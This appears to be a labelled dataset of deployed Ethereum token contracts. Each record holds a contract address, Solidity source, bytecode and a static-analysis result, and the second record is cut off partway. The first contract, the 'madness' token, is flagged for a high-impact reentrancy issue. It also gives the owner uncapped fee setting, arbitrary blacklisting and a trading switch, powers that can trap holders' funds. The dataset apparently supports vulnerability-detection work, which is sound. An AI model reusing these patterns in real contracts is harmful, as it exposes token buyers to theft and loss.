0xda1176f8e2f66eb8b35445af6a0b048c61724000
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract madness is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "madness";
string private constant _symbol = "MAD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xeA463324703E374F9481fcf8011b89C89099D37D);
address payable private _marketingAddress = payable(0xeA463324703E374F9481fcf8011b89C89099D37D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 2000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610551578063dd62ed3e14610571578063ea1644d5146105b7578063f2fde38b146105d757600080fd5b8063a2a957bb146104cc578063a9059cbb146104ec578063bfd792841461050c578063c3c8cd801461053c57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ac57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105f7565b005b34801561020a57600080fd5b506040805180820190915260078152666d61646e65737360c81b60208201525b6040516102379190611a20565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a75565b610696565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b5067016345785d8a00005b604051908152602001610237565b3480156102d957600080fd5b506102606102e8366004611aa1565b6106ad565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610237565b34801561032b57600080fd5b50601554610290906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae2565b610716565b34801561036b57600080fd5b506101fc61037a366004611b0f565b610761565b34801561038b57600080fd5b506101fc6107a9565b3480156103a057600080fd5b506102bf6103af366004611ae2565b6107f4565b3480156103c057600080fd5b506101fc610816565b3480156103d557600080fd5b506101fc6103e4366004611b2a565b61088a565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae2565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610290565b34801561045657600080fd5b506101fc610465366004611b0f565b6108b9565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b5060408051808201909152600381526213505160ea1b602082015261022a565b3480156104b857600080fd5b506101fc6104c7366004611b2a565b610901565b3480156104d857600080fd5b506101fc6104e7366004611b43565b610930565b3480156104f857600080fd5b50610260610507366004611a75565b61096e565b34801561051857600080fd5b50610260610527366004611ae2565b60106020526000908152604090205460ff1681565b34801561054857600080fd5b506101fc61097b565b34801561055d57600080fd5b506101fc61056c366004611b75565b6109cf565b34801561057d57600080fd5b506102bf61058c366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c357600080fd5b506101fc6105d2366004611b2a565b610a70565b3480156105e357600080fd5b506101fc6105f2366004611ae2565b610a9f565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161062190611c32565b60405180910390fd5b60005b81518110156106925760016010600084848151811061064e5761064e611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068a81611c93565b91505061062d565b5050565b60006106a3338484610b89565b5060015b92915050565b60006106ba848484610cad565b61070c843361070785604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e9565b610b89565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161062190611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161062190611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107de57506013546001600160a01b0316336001600160a01b0316145b6107e757600080fd5b476107f181611223565b50565b6001600160a01b0381166000908152600260205260408120546106a79061125d565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161062190611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161062190611c32565b601655565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161062190611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161062190611c32565b601855565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062190611c32565b600893909355600a91909155600955600b55565b60006106a3338484610cad565b6012546001600160a01b0316336001600160a01b031614806109b057506013546001600160a01b0316336001600160a01b0316145b6109b957600080fd5b60006109c4306107f4565b90506107f1816112e1565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161062190611c32565b60005b82811015610a6a578160056000868685818110610a1b57610a1b611c67565b9050602002016020810190610a309190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6281611c93565b9150506109fc565b50505050565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161062190611c32565b601755565b6000546001600160a01b03163314610ac95760405162461bcd60e51b815260040161062190611c32565b6001600160a01b038116610b2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610621565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610beb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610c4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610d735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610dd55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610e0157506000546001600160a01b03838116911614155b156110e257601554600160a01b900460ff16610e9a576000546001600160a01b03848116911614610e9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610621565b601654811115610eec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610621565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2e57506001600160a01b03821660009081526010602052604090205460ff16155b610f865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610621565b6015546001600160a01b0383811691161461100b5760175481610fa8846107f4565b610fb29190611cae565b1061100b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610621565b6000611016306107f4565b60185460165491925082101590821061102f5760165491505b8080156110465750601554600160a81b900460ff16155b801561106057506015546001600160a01b03868116911614155b80156110755750601554600160b01b900460ff165b801561109a57506001600160a01b03851660009081526005602052604090205460ff16155b80156110bf57506001600160a01b03841660009081526005602052604090205460ff16155b156110df576110cd826112e1565b4780156110dd576110dd47611223565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112457506001600160a01b03831660009081526005602052604090205460ff165b8061115657506015546001600160a01b0385811691161480159061115657506015546001600160a01b03848116911614155b15611163575060006111dd565b6015546001600160a01b03858116911614801561118e57506014546001600160a01b03848116911614155b156111a057600854600c55600954600d555b6015546001600160a01b0384811691161480156111cb57506014546001600160a01b03858116911614155b156111dd57600a54600c55600b54600d555b610a6a8484848461146a565b6000818484111561120d5760405162461bcd60e51b81526004016106219190611a20565b50600061121a8486611cc6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610692573d6000803e3d6000fd5b60006006548211156112c45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610621565b60006112ce611498565b90506112da83826114bb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137d57600080fd5b505afa158015611391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b59190611cdd565b816001815181106113c8576113c8611c67565b6001600160a01b0392831660209182029290920101526014546113ee9130911684610b89565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611427908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611477576114776114fd565b61148284848461152b565b80610a6a57610a6a600e54600c55600f54600d55565b60008060006114a5611622565b90925090506114b482826114bb565b9250505090565b60006112da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150d5750600d54155b1561151457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153d87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156f90876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159e908661172f565b6001600160a01b0389166000908152600260205260409020556115c08161178e565b6115ca84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160f91815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061163d82826114bb565b8210156116595750506006549267016345785d8a000092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106219190611a20565b50600061121a8486611d6b565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd611498565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b60008061173c8385611cae565b9050838110156112da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b6000611798611498565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bb565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b0575060006106a7565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112da81611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112da82611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112da81611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c11c03ab5bea0e3bf94cee9776c07528308db2ef66af148f35eef4a644b6316764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,524 |
0x867a7d520d20bf6eaa55f3d6f1b41ec922fcc3a8
|
/*
Believe In The Future - https://twitter.com/elonmusk/status/1517236891606790144
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FutureInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Future Inu";//
string private constant _symbol = "Future Inu";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 10;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
